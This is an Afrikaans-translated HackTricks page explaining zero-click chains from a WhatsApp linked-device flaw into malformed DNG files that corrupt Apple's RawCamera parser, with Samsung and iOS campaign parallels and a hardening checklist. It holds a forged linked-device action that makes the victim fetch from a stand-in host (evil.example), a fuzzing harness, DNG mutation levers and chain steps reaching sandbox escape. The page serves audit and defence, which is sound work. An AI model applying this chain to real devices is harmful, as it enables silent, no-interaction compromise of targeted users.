Zero-click Messaging → Image Parser Chains

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

TL;DR

  • Behandel messaging app multi-device/companion protocols as afstandbeheerkanaal: selfs as protokolvelde as afkomstig van vertroude toestelle beskou word, kan hulle steeds deur gebruikers beheer word en dikwels direk teen ’n slagoffer herhaal word om arbitrêre inhoud te laai met 0 gebruikersinteraksie.
  • Sodra enige app gedwing kan word om onbetroubare media te haal, mik op die shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) met verkeerd gevormde lêers om uit die sandbox te ontsnap.
  • Die DNG-based RawCamera en Samsung parser bugs wat hier bespreek word is konkrete voorbeelde, maar die volledige tegniek is ’n herbruikbare bloudruk vir die ketting van logika-foute → beeldparser-geheuekorrupsie → volledige toestelkompromie.

Remote content loading via WhatsApp linked-device commands

Attack surface recap

Die WhatsApp “linked devices” argitektuur hou die primêre foon en elke kompanjon (desktop, tablet, sekondêre foon) in sinchronisasie via enkripsieerde, gestruktureerde protokol-boodskappe. Elke boodskap enkodeer:

  • Toestelinligting (device ID, vermoëns, feature flags).
  • Aksiebeskrywers (bv., sinchroniseer chats, haal miniatuurbeelde op, render afstandsinhoud).
  • Arbitrêre parameters soos URI’s, MIME-aanwysings, pagineringssleutels, ens.

Op Apple-kliente het die hanteraar wat hierdie linked-device-beheerpakkette verwerk implisiet vertrou dat ’n geldige paarvorming reeds plaasgevind het, sodat hoë-impak velde (bv., resource_url, open_media, sync_snapshot) slegs minimaal gevalideer is. ’n Kwaadaardige kompanjonboodskap kon gevolglik:

  1. Na enige rekening gerig word wat deur sy telefoonnommer geïdentifiseer word.
  2. Die transportstack (Noise protocol + WhatsApp protobuf framing) oorleef omdat die ontvanger nooit geverifieer het dat die sender ’n wettiglike gepaarde toestel was nie.
  3. Die iOS-kliënt bereik, waar die kwesbare kodepad outomaties ’n agtergrond HTTP(S)-versoek na die aanvallers-URL inisieer en die respons in ’n verborge WebView/media renderer ontleed het.

Practical workflow for auditors

  1. Capture legitimate linked-device traffic. Koppel ’n debugger of Frida-skrip aan die desktop/iOS-kliënt en haak die na-dekripsie hanteraar (bv., LinkedDevicesSyncHandler::processAction). Dump gedekodeerde protobuf-ladinge om beskikbare aksietipes en parameters te leer.
  2. Identify fields that cross trust boundaries. Identifiseer velde wat vertrouensgrense oorsteek. Enige aksie wat http_url, thumbnail_uri, download_url, of render_html parameters dra sonder streng allow-lyste is ’n kandidaat-primitive vir afstandsinhoud.
  3. Forge a malicious action. Hergebruik die waargenome protobuf-skema en verander slegs die aanvaller-beheerde velde. ’n Vereenvoudigde JSON-uitsig van die relevante logiese struktuur word hieronder getoon (die werklike transpoort is protobuf/Noise, maar die semantiese velde stem ooreen):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
  1. Lewer aan die slagoffer. Speel die vervaardigde pakkie deur dieselfde WhatsApp-diens wat normaalweg linked-device-verkeer deurstuur (bv. deur ’n gemodifiseerde desktop-klient of ’n aangepaste Noise-klient te gebruik wat jou aanvallerrekening-sleutels hergebruik). Omdat CVE-2025-55177 nie aksies aan geverifieerde toestelle gekoppel het nie, sou die slagoffer se iOS/macOS-klient die boodskap aanvaar en onmiddellik die aanvallers-URL sonder enige UI aflaai.
  2. Instrumenteer die fetch. Observeer die geforseerde HTTP(S)-versoek en die interne renderer (WKWebView/ImageIO). Op hierdie punt besit jy ’n zero-click web delivery primitive binne WhatsApp.

Wapenmaking van outomaties-gedekodeerde DNGs teen RawCamera

Sodra die aanvaller beheer het oor wat WhatsApp laai, is die volgende doel om iOS/macOS daartoe te bring om ’n kwaadwillige Digital Negative (DNG) lêer met die RawCamera-raamwerk te parse. Enige ingebedde <img>/CSS URL wat na ’n .dng oplos, sal aan die stelsel se beeldpyplyn deurgegee word en RawCamera aanroep, selfs al het WhatsApp self nooit eksplisiet DNGs hanteer nie.

RawCamera vanaf WhatsApp aktiveer

  • Bedien HTML wat na die DNG verwys via verskeie meganismes (bv. <img src="evil.dng">, CSS background-image: url('evil.dng'), of <picture>-bronne) om verskillende render-pade te dek.
  • Verseker die korrekte MIME (image/x-adobe-dng) en klein voorskoue sodat die laaier nie vroegtydig afbreek weens grootte-heuristieke nie.
  • Die iOS media sandbox sal die lêer deurstroom na RawCamera via CGImageSourceCreateWithURL, wat uiteindelik die kwesbare dekodeerder tref.

Skep geheue-korrupte DNGs (CVE-2025-43300 styl)

Die 2025 in-die-wild fout was meer spesifiek as ’n generiese verkeerd gevormde TIFF: die DNG het JPEG-Lossless beelddata bevat waarvan die interne SOF3 komponenttelling nie saamgestem het met die TIFF/DNG metadata (SamplesPerPixel) nie. In die praktyk kon RawCamera sommige buffere vanaf die buitenste TIFF-velde dimensioneer en later die ingeslote JPEG-Lossless-stroom vertrou tydens dekodering, wat gelei het tot die out-of-bounds skryf wat in iOS 18.6.2 / iPadOS 18.6.2 op 20 Augustus 2025 reggestel is.

Dit gee ouditore ’n veel nouer triage-reël as “mutate random tags”:

exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY

As SamplesPerPixel en die SOF3 komponenttelling uiteenloop, is jy baie naby aan die primitive wat publieklik bespreek is vir CVE-2025-43300. Tipiese aangrensende hefbome wat steeds die moeite werd is om te fuzz sodra jy die parsing path het, is:

  • Tile/strip descriptors: Stel TileByteCounts/StripByteCounts op realistiese waardes maar verhoog TileOffsets sodat dit na buite die toegewezen buffer wys.
  • Sub-IFD chains: Embed sekondêre beelde met teenstrydige ImageWidth/ImageLength en BitsPerSample sodat RawCamera ’n klein buffer bereken terwyl later fases op attacker-controlled dimensions staatmaak.
  • Opcode metadata: Manipuleer OpcodeList3 entries sodat per-row verwerking op attacker-chosen indexes werk.

’n Basiese mutation harness om vir sulke korrupsies te jag kan rondom macOS gebou word, aangesien dieselfde RawCamera code op macOS/iOS/iPadOS versend word:

#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done

Elke crash in RawCamera gee jou ’n nuwe primitive. Die gepubliseerde PoC het ’n netjiese out-of-bounds read/write bereik wat betroubaar genoeg was om WhatsApp op iPhone, iPad, en Mac te crash.

Bou van die 0-click-ketting

  1. Linked-device packet → dwing WhatsApp om https://evil.example/payload.html te haal sonder enige taps.
  2. Payload HTML → verwys stilweg na evil.dng, wat verseker dat RawCamera deur die OS media stack aangeroep word.
  3. Malicious DNG → misbruik gekookte tags om die RawCamera OOB te trigger en die image decoder te crash/own.
  4. Post-corruption exploitation → voeg info-leak gadgets by (bv. misbruik van voorspelbare heap metadata) en stage ’n ROP/JOP chain om uit die WhatsApp sandbox te breek en in meer geprivilegieerde kontekste in te dring.

Omdat elke stap outomaties is, het die aanvaller slegs die slagoffer se telefoonnommer nodig. Geen kennisgewings, banners of prompts verskyn op die teiken-toestel nie.

Onlangse Apple parser-kettingpatrone wat die moeite werd is om te hergebruik

Hierdie WhatsApp → DNG → RawCamera-ketting pas by dieselfde ontwerppatroon wat in onlangse Apple zero-click veldtogte gesien is: vind ’n alternate attachment wrapper wat by ’n minder-beperkte parser uitkom, en weaponize dan ’n lêerformaat wat die OS gretig voorbeskou.

  • BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab het kwaadwillige PassKit attachments gerapporteer wat images bevat, en Apple het Wallet (CVE-2023-41061) plus ImageIO (CVE-2023-41064) gepatch. Project Zero se latere ontleding het getoon waarom dit operationeel saak maak: die aanvaller het nie net ’n parser-bug nodig gehad nie, maar ook ’n container wat image parsing wegskuif van die normale BlastDoor-pad na ’n ander proses. Wanneer jy messaging apps oudit, enumereer elke attachment tipe wat background previews in helper daemons trigger (.pkpass, contact cards, sticker bundles, inline HTML, QuickLook previews), nie net voor die hand liggende image attachments nie.
  • TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): Kaspersky het gewys dat ’n kwaadwillige iMessage attachment die ongedokumenteerde Apple-only ADJUST TrueType instruction getref het (CVE-2023-41990). Die praktiese les is dat fonts image-parser cousins vir zero-click werk is: rich-text previews, font fallback, en thumbnail generation kan almal parser entry points word, selfs wanneer die app beweer dit ondersteun slegs “documents” of “stickers”.

Die herhalende ouditvraag is dus: watter boodskapsoorte veroorsaak stille parsing in ’n proses anders as die voor die hand liggende chat renderer? Dit is gewoonlik waar die ketting begin. Vir voorbeeld-triage en kruis-veld konsekwensiteitskontroles sodra jy ’n verdagte lêer het, hergebruik this generic structural file-format detection page.

Samsung vendor image parser parallels

Samsung’s bulletin vir CVE-2025-21043 het bevestig dat hul eie image parsing stack (gebruik deur Gallery, Messages, en ook indirek deur WhatsApp) aan ’n out-of-bounds write blootgestel was deur onbetroubare media. Die exploit-metodologie spieël die Apple-ketting:

  • Identifiseer ’n auto-preview vektor (chat thumbnails, notification previews, share sheets) wat die aanvaller-lêer pars met Samsung se libimagecodec/libOneUI_ImageDecoder libraries.
  • Diff OEM library updates of fuzz parsers met malformed RAW/DNG files totdat jy geheue-korrupsies sien soortgelyk aan die RawCamera crash (heap metadata clobber, register control, ens.).
  • Lewer die gekookte lêer deur enige kanaal wat reeds inhoud outomaties laai (bv. dieselfde linked-device primitive, WhatsApp preview fetchers, of Android se push-to-talk waveform previews).

Sodra ’n OOB write in die vendor parser bestaan, kombineer dit met die WhatsApp auto-fetch primitive om nog ’n zero-click ketting op Samsung-toestelle te produseer.

Toetsing- en verhardingskontrolelys

  • Protocol validation: Handhaaf streng allow-lists vir elke linked-device aksie. Companion commands wat ’n fetch/render versoek moet toestel-koppeling bewys (die payload teken) en die URL moet aan ’n allow-list of signed blob voldoen.
  • Transport replay countermeasures: Bind elke aksie aan ’n per-toestel sleutel en verwerp pakkette wie se sender key onbekend is, selfs al is die protobuf sintaksis korrek.
  • Media pipeline restrictions: High-level apps moet slegs goedgekeurde MIME-tipes toelaat en eksplisiet RAW/DNG verwerp tensy die funksie vereis is.
  • Parser fuzzing regression tests: Hou ’n korpus van malformed RAW/DNG files en hardloop dit teen RawCamera/vendor decoders na elke opdatering.
  • Crash triage automation: Heg DYLD_INSERT_LIBRARIES sanitizers of MTE aan fuzz-toestelle om subtiele OOB-voorwaardes te vang voordat aanvallers dit doen.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks